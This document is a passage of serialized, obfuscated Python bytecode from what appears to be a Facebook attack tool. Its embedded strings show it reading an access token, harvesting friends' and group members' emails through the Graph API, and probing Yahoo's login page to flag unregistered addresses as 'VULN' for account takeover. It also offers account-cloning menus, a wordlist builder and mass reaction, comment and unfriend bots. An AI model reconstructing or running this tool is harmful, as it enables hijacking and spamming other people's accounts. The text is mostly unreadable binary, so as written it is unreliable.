14\x01\r\x01\x1f\x01\x12\x01\x0c\x01\x0f\x01\x19\x01\n\x01\x05\x01\t\x01\t\x01\t\x01\n\x01\x10\x01\x0f\x01\x19\x01\n\x01\x05\x01\t\x01\x05\x01\t\x01\t\x01\x0e\x01\x13\x01\x05\x01\x19\x01\r\x01\x05\x01c\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s\x8f\x00\x00\x00t\x00\x00d\x01\x00\x83\x01\x00}\x00\x00|\x00\x00d\x02\x00k\x02\x00r\'\x00d\x03\x00GHt\x01\x00\x83\x00\x00\x01nd\x00|\x00\x00d\x04\x00k\x02\x00r=\x00t\x02\x00\x83\x00\x00\x01nN\x00|\x00\x00d\x05\x00k\x02\x00rS\x00t\x02\x00\x83\x00\x00\x01n8\x00|\x00\x00d\x06\x00k\x02\x00ri\x00t\x03\x00\x83\x00\x00\x01n"\x00|\x00\x00d\x07\x00k\x02\x00r\x7f\x00t\x03\x00\x83\x00\x00\x01n\x0c\x00d\x03\x00GHt\x01\x00\x83\x00\x00\x01d\x00\x00S(\x08\x00\x00\x00Ns@\x00\x00\x00\x1b[1;91m[?] \x1b[1;92mCreate wordlist ? \x1b[1;92m[y/n]\x1b[1;91m:\x1b[1;97m R\n\x00\x00\x00s\x10\x00\x00\x00\x1b[1;91m[!] WrongRo\x00\x00\x00t\x01\x00\x00\x00YR\xa8\x00\x00\x00t\x01\x00\x00\x00N(\x04\x00\x00\x00R/\x00\x00\x00R\xf3\x00\x00\x00t\x08\x00\x00\x00wordlistRv\x00\x00\x00(\x01\x00\x00\x00t\x03\x00\x00\x00why(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R\xf3\x00\x00\x00\xd9\x05\x00\x00s\x1c\x00\x00\x00\x00\x01\x0c\x01\x0c\x01\x05\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x02\x05\x01c\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00C\x00\x00\x00s\x9b\x00\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01y\x19\x00t\x02\x00d\x02\x00d\x03\x00\x83\x02\x00j\x03\x00\x83\x00\x00a\x04\x00Wn7\x00\x04t\x05\x00k\n\x00r_\x00\x01\x01\x01d\x04\x00GHt\x00\x00j\x01\x00d\x05\x00\x83\x01\x00\x01t\x06\x00j\x07\x00d\x06\x00\x83\x01\x00\x01t\x08\x00\x83\x00\x00\x01n\x01\x00Xt\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\t\x00GHd\x07\x00GHd\x08\x00GHd\t\x00GHd\n\x00GHd\x0b\x00GHd\x0c\x00GHt\n\x00\x83\x00\x00\x01d\x00\x00S(\r\x00\x00\x00NR&\x00\x00\x00s\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00s6\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m1.\x1b[1;97m With list friends7\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m2.\x1b[1;97m Clone from friends=\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m3.\x1b[1;97m Clone from member groups0\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m4.\x1b[1;97m Using files*\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;91m0.\x1b[1;97m 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\x00GHd!\x00t \x00t!\x00t\x1e\x00\x83\x01\x00\x83\x01\x00\x17GHd"\x00GH|\x04\x00j"\x00\x83\x00\x00\x01t#\x00d#\x00\x83\x01\x00\x01t$\x00\x83\x00\x00\x01d\x00\x00S($\x00\x00\x00NR&\x00\x00\x00s\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00R\x90\x00\x00\x00i\x00\x00\x00\x00s3\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGetting email friend \x1b[1;97m...s3\x00\x00\x00https://graph.facebook.com/me/friends?access_token=s\x10\x00\x00\x00out/MailVuln.txtR\x11\x00\x00\x00s$\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mStart 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\x00|\x11\x00k\x06\x00r\xd1\x02|\x07\x00j \x00|\r\x00d!\x00\x17\x83\x01\x00\x01d"\x00|\r\x00\x17d#\x00\x17|\n\x00\x17GHt!\x00j\x15\x00|\r\x00\x83\x01\x00\x01q\xd1\x02n\x00\x00Wq{\x01\x04t\x12\x00k\n\x00r\xe5\x02\x01\x01\x01q{\x01Xq{\x01Wd\x15\x00d\x16\x00\x14GHd$\x00GHd%\x00t"\x00t#\x00t!\x00\x83\x01\x00\x83\x01\x00\x17GHd&\x00GH|\x07\x00j$\x00\x83\x00\x00\x01t\x0c\x00d\x0f\x00\x83\x01\x00\x01t\x13\x00\x83\x00\x00\x01d\x00\x00S(\'\x00\x00\x00NR&\x00\x00\x00s\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00R\x90\x00\x00\x00i\x00\x00\x00\x00s2\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mInput ID friend \x1b[1;91m: \x1b[1;97ms\x1b\x00\x00\x00https://graph.facebook.com/s\x0e\x00\x00\x00?access_token=s7\x00\x00\x00\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m R0\x00\x00\x00s\x1b\x00\x00\x00\x1b[1;91m[!] Friend not founds\x1e\x00\x00\x00\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]s8\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGetting email from friend \x1b[1;97m...s\x16\x00\x00\x00/friends?access_token=s\x16\x00\x00\x00out/FriendMailVuln.txtR\x11\x00\x00\x00s$\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mStart \x1b[1;97m...i*\x00\x00\x00s\n\x00\x00\x00\x1b[1;97m\xe2\x95\x90Rl\x00\x00\x00Rj\x00\x00\x00R?\x00\x00\x00s\x03\x00\x00\x00@.*s\t\x00\x00\x00yahoo.coms_\x00\x00\x00https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.comR>\x00\x00\x00R\xde\x00\x00\x00s$\x00\x00\x00"messages.ERROR_INVALID_USERNAME">.*s"\x00\x00\x00"messages.ERROR_INVALID_USERNAME">s\x01\x00\x00\x00\ns(\x00\x00\x00\x1b[1;97m[ \x1b[1;92mVULN\xe2\x9c\x93\x1b[1;97m ] \x1b[1;92ms\n\x00\x00\x00 \x1b[1;97m=>s2\x00\x00\x00\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mDone \x1b[1;97m....s(\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mTotal \x1b[1;91m: \x1b[1;97msC\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mFile saved \x1b[1;91m:\x1b[1;97m out/FriendMailVuln.txt(%\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R4\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R\x91\x00\x00\x00R\x92\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00Rb\x00\x00\x00Rc\x00\x00\x00Rd\x00\x00\x00Re\x00\x00\x00Rf\x00\x00\x00R,\x00\x00\x00R\xb0\x00\x00\x00R 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\x00<t\x1a\x00j\x1f\x00\x83\x00\x00j\x03\x00\x83\x00\x00}\x0f\x00t\x16\x00j\x17\x00d!\x00\x83\x01\x00}\x10\x00y\x19\x00|\x10\x00j\x18\x00|\x0f\x00\x83\x01\x00j\x19\x00\x83\x00\x00}\x11\x00Wn\n\x00\x01\x01\x01w{\x01n\x01\x00Xd"\x00|\x11\x00k\x06\x00r\xd1\x02|\x07\x00j \x00|\x0c\x00d#\x00\x17\x83\x01\x00\x01d$\x00|\x0c\x00\x17d%\x00\x17|\t\x00\x17GHt!\x00j\x15\x00|\x0c\x00\x83\x01\x00\x01q\xd1\x02n\x00\x00Wq{\x01\x04t\x12\x00k\n\x00r\xe5\x02\x01\x01\x01q{\x01Xq{\x01Wd\x16\x00d\x17\x00\x14GHd&\x00GHd\'\x00t"\x00t#\x00t!\x00\x83\x01\x00\x83\x01\x00\x17GHd(\x00GH|\x07\x00j$\x00\x83\x00\x00\x01t\x0c\x00d\x0f\x00\x83\x01\x00\x01t\x13\x00\x83\x00\x00\x01d\x00\x00S()\x00\x00\x00NR&\x00\x00\x00s\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00R\x90\x00\x00\x00i\x00\x00\x00\x00s1\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mInput ID group \x1b[1;91m:\x1b[1;97m s%\x00\x00\x00https://graph.facebook.com/group/?id=s\x0e\x00\x00\x00&access_token=s=\x00\x00\x00\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom group \x1b[1;91m:\x1b[1;97m R0\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Group not founds\x1e\x00\x00\x00\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]s7\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGetting email from group \x1b[1;97m...s\x1b\x00\x00\x00https://graph.facebook.com/s5\x00\x00\x00/members?fields=name,id&limit=999999999&access_token=s\x14\x00\x00\x00out/GrupMailVuln.txtR\x11\x00\x00\x00s$\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mStart \x1b[1;97m...i*\x00\x00\x00s\n\x00\x00\x00\x1b[1;97m\xe2\x95\x90Rl\x00\x00\x00Rj\x00\x00\x00s\x0e\x00\x00\x00?access_token=R?\x00\x00\x00s\x03\x00\x00\x00@.*s\t\x00\x00\x00yahoo.coms_\x00\x00\x00https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.comR>\x00\x00\x00R\xde\x00\x00\x00s$\x00\x00\x00"messages.ERROR_INVALID_USERNAME">.*s"\x00\x00\x00"messages.ERROR_INVALID_USERNAME">s\x01\x00\x00\x00\ns(\x00\x00\x00\x1b[1;97m[ \x1b[1;92mVULN\xe2\x9c\x93\x1b[1;97m ] \x1b[1;92ms\n\x00\x00\x00 \x1b[1;97m=>s2\x00\x00\x00\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mDone \x1b[1;97m....s(\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mTotal \x1b[1;91m: \x1b[1;97msA\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mFile saved \x1b[1;91m:\x1b[1;97m out/GrupMailVuln.txt(%\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R4\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R\x91\x00\x00\x00R\x92\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00Rb\x00\x00\x00Rc\x00\x00\x00Rd\x00\x00\x00Re\x00\x00\x00Rf\x00\x00\x00R,\x00\x00\x00R\xb0\x00\x00\x00R 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\x1b[1;92mVULN\xe2\x9c\x93\x1b[1;97m ] \x1b[1;92ms2\x00\x00\x00\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mDone \x1b[1;97m....s(\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mTotal \x1b[1;91m: \x1b[1;97msA\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mFile saved \x1b[1;91m:\x1b[1;97m out/FileMailVuln.txt(!\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R4\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R\x91\x00\x00\x00R\x92\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00R\xf2\x00\x00\x00R\xb0\x00\x00\x00R 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Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00s?\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m1.\x1b[1;97m Bot Reactions Target Posts=\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m2.\x1b[1;97m Bot Reactions Grup Posts;\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m3.\x1b[1;97m Bot Komen Target Posts9\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m4.\x1b[1;97m Bot Komen Grup Posts6\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m5.\x1b[1;97m Mass delete Posts8\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m6.\x1b[1;97m Mass accept friends8\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m7.\x1b[1;97m Mass delete friends*\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;91m0.\x1b[1;97m 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\x1b[1;97mR\n\x00\x00\x00s\x16\x00\x00\x00\x1b[1;91m[!] Wrong inputR8\x00\x00\x00R9\x00\x00\x00Rs\x00\x00\x00Rt\x00\x00\x00R\x81\x00\x00\x00R\x82\x00\x00\x00R\x83\x00\x00\x00R:\x00\x00\x00(\n\x00\x00\x00R/\x00\x00\x00R\x10\x01\x00\x00t\n\x00\x00\x00menu_reactt\n\x00\x00\x00grup_reactt\t\x00\x00\x00bot_koment\n\x00\x00\x00grup_koment\n\x00\x00\x00deletepostt\x06\x00\x00\x00acceptt\x08\x00\x00\x00unfriendR+\x00\x00\x00(\x01\x00\x00\x00t\x04\x00\x00\x00bots(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R\x10\x01\x00\x002\x07\x00\x00s,\x00\x00\x00\x00\x01\x0c\x01\x0c\x01\x05\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x02\x05\x01c\x00\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00C\x00\x00\x00s\xa5\x00\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01y\x19\x00t\x02\x00d\x02\x00d\x03\x00\x83\x02\x00j\x03\x00\x83\x00\x00}\x00\x00Wn7\x00\x04t\x04\x00k\n\x00r_\x00\x01\x01\x01d\x04\x00GHt\x00\x00j\x01\x00d\x05\x00\x83\x01\x00\x01t\x05\x00j\x06\x00d\x06\x00\x83\x01\x00\x01t\x07\x00\x83\x00\x00\x01n\x01\x00Xt\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x08\x00GHd\x07\x00GHd\x08\x00GHd\t\x00GHd\n\x00GHd\x0b\x00GHd\x0c\x00GHd\r\x00GHd\x0e\x00GHt\t\x00\x83\x00\x00\x01d\x00\x00S(\x0f\x00\x00\x00NR&\x00\x00\x00s\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00s*\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m1. \x1b[1;97mLikes*\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m2. \x1b[1;97mLoves)\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m3. \x1b[1;97mWows*\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m4. \x1b[1;97mHahas,\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m5. \x1b[1;97mSadBoys+\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m6. \x1b[1;97mAngrys*\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;91m0.\x1b[1;97m Backs\x03\x00\x00\x00\xe2\x95\x91(\n\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R.\x00\x00\x00t\x0b\x00\x00\x00react_pilih(\x01\x00\x00\x00R4\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R\x12\x01\x00\x00L\x07\x00\x00s&\x00\x00\x00\x00\x01\r\x01\x03\x01\x19\x01\r\x01\x05\x01\r\x01\r\x01\x0b\x01\r\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01c\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s\xf5\x00\x00\x00t\x00\x00d\x01\x00\x83\x01\x00}\x00\x00|\x00\x00d\x02\x00k\x02\x00r\'\x00d\x03\x00GHt\x01\x00\x83\x00\x00\x01n\xca\x00|\x00\x00d\x04\x00k\x02\x00rC\x00d\x05\x00a\x02\x00t\x03\x00\x83\x00\x00\x01n\xae\x00|\x00\x00d\x06\x00k\x02\x00r_\x00d\x07\x00a\x02\x00t\x03\x00\x83\x00\x00\x01n\x92\x00|\x00\x00d\x08\x00k\x02\x00r{\x00d\t\x00a\x02\x00t\x03\x00\x83\x00\x00\x01nv\x00|\x00\x00d\n\x00k\x02\x00r\x97\x00d\x0b\x00a\x02\x00t\x03\x00\x83\x00\x00\x01nZ\x00|\x00\x00d\x0c\x00k\x02\x00r\xb3\x00d\r\x00a\x02\x00t\x03\x00\x83\x00\x00\x01n>\x00|\x00\x00d\x0e\x00k\x02\x00r\xcf\x00d\x0f\x00a\x02\x00t\x03\x00\x83\x00\x00\x01n"\x00|\x00\x00d\x10\x00k\x02\x00r\xe5\x00t\x04\x00\x83\x00\x00\x01n\x0c\x00d\x03\x00GHt\x01\x00\x83\x00\x00\x01d\x00\x00S(\x11\x00\x00\x00Ns\x1d\x00\x00\x00\x1b[1;97m\xe2\x95\x9a\xe2\x95\x90\x1b[1;91mD \x1b[1;97mR\n\x00\x00\x00s\x16\x00\x00\x00\x1b[1;91m[!] Wrong inputR8\x00\x00\x00t\x04\x00\x00\x00LIKER9\x00\x00\x00t\x04\x00\x00\x00LOVERs\x00\x00\x00t\x03\x00\x00\x00WOWRt\x00\x00\x00t\x04\x00\x00\x00HAHAR\x81\x00\x00\x00t\x03\x00\x00\x00SADR\x82\x00\x00\x00t\x05\x00\x00\x00ANGRYR:\x00\x00\x00(\x05\x00\x00\x00R/\x00\x00\x00R\x1a\x01\x00\x00t\x04\x00\x00\x00tipet\x05\x00\x00\x00reactR\x11\x01\x00\x00(\x01\x00\x00\x00t\x04\x00\x00\x00aksi(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R\x1a\x01\x00\x00a\x07\x00\x00s4\x00\x00\x00\x00\x02\x0c\x01\x0c\x01\x05\x01\n\x01\x0c\x01\x06\x01\n\x01\x0c\x01\x06\x01\n\x01\x0c\x01\x06\x01\n\x01\x0c\x01\x06\x01\n\x01\x0c\x01\x06\x01\n\x01\x0c\x01\x06\x01\n\x01\x0c\x01\n\x02\x05\x01c\x00\x00\x00\x00\x07\x00\x00\x00\x05\x00\x00\x00C\x00\x00\x00s\xa5\x01\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01y\x19\x00t\x02\x00d\x02\x00d\x03\x00\x83\x02\x00j\x03\x00\x83\x00\x00}\x00\x00Wn7\x00\x04t\x04\x00k\n\x00r_\x00\x01\x01\x01d\x04\x00GHt\x00\x00j\x01\x00d\x05\x00\x83\x01\x00\x01t\x05\x00j\x06\x00d\x06\x00\x83\x01\x00\x01t\x07\x00\x83\x00\x00\x01n\x01\x00Xt\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x08\x00GHt\t\x00d\x07\x00\x83\x01\x00}\x01\x00t\t\x00d\x08\x00\x83\x01\x00}\x02\x00y\xed\x00t\n\x00j\x0b\x00d\t\x00|\x01\x00\x17d\n\x00\x17|\x02\x00\x17d\x0b\x00\x17|\x00\x00\x17\x83\x01\x00}\x03\x00t\x0c\x00j\r\x00|\x03\x00j\x0e\x00\x83\x01\x00}\x04\x00t\x0f\x00d\x0c\x00\x83\x01\x00\x01d\r\x00d\x0e\x00\x14GHxo\x00|\x04\x00d\x0f\x00\x19d\x10\x00\x19D]_\x00}\x05\x00|\x05\x00d\x11\x00\x19}\x06\x00t\x10\x00j\x11\x00|\x06\x00\x83\x01\x00\x01t\n\x00j\x12\x00d\t\x00|\x06\x00\x17d\x12\x00\x17t\x13\x00\x17d\x13\x00\x17|\x00\x00\x17\x83\x01\x00\x01d\x14\x00|\x06\x00d\x15\x00 j\x14\x00d\x16\x00d\x17\x00\x83\x02\x00\x17d\x18\x00\x17t\x13\x00\x17GHq\xe4\x00Wd\r\x00d\x0e\x00\x14GHd\x19\x00t\x15\x00t\x16\x00t\x10\x00\x83\x01\x00\x83\x01\x00\x17GHt\t\x00d\x1a\x00\x83\x01\x00\x01t\x17\x00\x83\x00\x00\x01Wn\'\x00\x04t\x18\x00k\n\x00r\xa0\x01\x01\x01\x01d\x1b\x00GHt\t\x00d\x1a\x00\x83\x01\x00\x01t\x17\x00\x83\x00\x00\x01n\x01\x00Xd\x00\x00S(\x1c\x00\x00\x00NR&\x00\x00\x00s\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00s2\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mInput ID Target \x1b[1;91m:\x1b[1;97m s(\x00\x00\x00\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m s\x1b\x00\x00\x00https://graph.facebook.com/s\x13\x00\x00\x00?fields=feed.limit(s\x0f\x00\x00\x00)&access_token=s$\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mStart \x1b[1;97m...i*\x00\x00\x00s\n\x00\x00\x00\x1b[1;97m\xe2\x95\x90t\x04\x00\x00\x00feedRl\x00\x00\x00Rj\x00\x00\x00s\x10\x00\x00\x00/reactions?type=s\x0e\x00\x00\x00&access_token=s\x0f\x00\x00\x00\x1b[1;92m[\x1b[1;97mi\n\x00\x00\x00s\x01\x00\x00\x00\nt\x01\x00\x00\x00 s\x14\x00\x00\x00... \x1b[1;92m] \x1b[1;97ms\x1f\x00\x00\x00\r\x1b[1;91m[+]\x1b[1;92m Done \x1b[1;97ms\x1e\x00\x00\x00\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]s\x17\x00\x00\x00\x1b[1;91m[!] ID not found(\x19\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00Rb\x00\x00\x00Rc\x00\x00\x00Rd\x00\x00\x00Re\x00\x00\x00Rf\x00\x00\x00R \x00\x00\x00t\x06\x00\x00\x00reaksiR\x94\x00\x00\x00Rh\x00\x00\x00R!\x01\x00\x00R\x16\x00\x00\x00R\x17\x00\x00\x00R\x0e\x00\x00\x00R\x11\x01\x00\x00R,\x00\x00\x00(\x07\x00\x00\x00R4\x00\x00\x00t\x03\x00\x00\x00idet\x05\x00\x00\x00limitt\x02\x00\x00\x00oht\x02\x00\x00\x00ahRm\x00\x00\x00Ro\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R"\x01\x00\x00\x7f\x07\x00\x00s<\x00\x00\x00\x00\x01\r\x01\x03\x01\x19\x01\r\x01\x05\x01\r\x01\r\x01\x0b\x01\r\x01\x05\x01\x0c\x01\x0c\x01\x03\x01#\x01\x12\x01\n\x01\t\x01\x15\x01\n\x01\r\x01!\x01%\x01\t\x01\x15\x01\n\x01\x0b\x01\r\x01\x05\x01\n\x01c\x00\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00C\x00\x00\x00s\xa5\x00\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01y\x19\x00t\x02\x00d\x02\x00d\x03\x00\x83\x02\x00j\x03\x00\x83\x00\x00}\x00\x00Wn7\x00\x04t\x04\x00k\n\x00r_\x00\x01\x01\x01d\x04\x00GHt\x00\x00j\x01\x00d\x05\x00\x83\x01\x00\x01t\x05\x00j\x06\x00d\x06\x00\x83\x01\x00\x01t\x07\x00\x83\x00\x00\x01n\x01\x00Xt\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x08\x00GHd\x07\x00GHd\x08\x00GHd\t\x00GHd\n\x00GHd\x0b\x00GHd\x0c\x00GHd\r\x00GHd\x0e\x00GHt\t\x00\x83\x00\x00\x01d\x00\x00S(\x0f\x00\x00\x00NR&\x00\x00\x00s\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00s*\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m1. \x1b[1;97mLikes*\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m2. \x1b[1;97mLoves)\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m3. \x1b[1;97mWows*\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m4. \x1b[1;97mHahas,\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m5. \x1b[1;97mSadBoys+\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m6. \x1b[1;97mAngrys*\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;91m0.\x1b[1;97m Backs\x03\x00\x00\x00\xe2\x95\x91(\n\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R.\x00\x00\x00t\x0c\x00\x00\x00reactg_pilih(\x01\x00\x00\x00R4\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R\x13\x01\x00\x00\xa0\x07\x00\x00s&\x00\x00\x00\x00\x01\r\x01\x03\x01\x19\x01\r\x01\x05\x01\r\x01\r\x01\x0b\x01\r\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01c\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s\xf5\x00\x00\x00t\x00\x00d\x01\x00\x83\x01\x00}\x00\x00|\x00\x00d\x02\x00k\x02\x00r\'\x00d\x03\x00GHt\x01\x00\x83\x00\x00\x01n\xca\x00|\x00\x00d\x04\x00k\x02\x00rC\x00d\x05\x00a\x02\x00t\x03\x00\x83\x00\x00\x01n\xae\x00|\x00\x00d\x06\x00k\x02\x00r_\x00d\x07\x00a\x02\x00t\x03\x00\x83\x00\x00\x01n\x92\x00|\x00\x00d\x08\x00k\x02\x00r{\x00d\t\x00a\x02\x00t\x03\x00\x83\x00\x00\x01nv\x00|\x00\x00d\n\x00k\x02\x00r\x97\x00d\x0b\x00a\x02\x00t\x03\x00\x83\x00\x00\x01nZ\x00|\x00\x00d\x0c\x00k\x02\x00r\xb3\x00d\r\x00a\x02\x00t\x03\x00\x83\x00\x00\x01n>\x00|\x00\x00d\x0e\x00k\x02\x00r\xcf\x00d\x0f\x00a\x02\x00t\x03\x00\x83\x00\x00\x01n"\x00|\x00\x00d\x10\x00k\x02\x00r\xe5\x00t\x04\x00\x83\x00\x00\x01n\x0c\x00d\x03\x00GHt\x01\x00\x83\x00\x00\x01d\x00\x00S(\x11\x00\x00\x00Ns\x1d\x00\x00\x00\x1b[1;97m\xe2\x95\x9a\xe2\x95\x90\x1b[1;91mD \x1b[1;97mR\n\x00\x00\x00s\x16\x00\x00\x00\x1b[1;91m[!] Wrong inputR8\x00\x00\x00R\x1b\x01\x00\x00R9\x00\x00\x00R\x1c\x01\x00\x00Rs\x00\x00\x00R\x1d\x01\x00\x00Rt\x00\x00\x00R\x1e\x01\x00\x00R\x81\x00\x00\x00R\x1f\x01\x00\x00R\x82\x00\x00\x00R 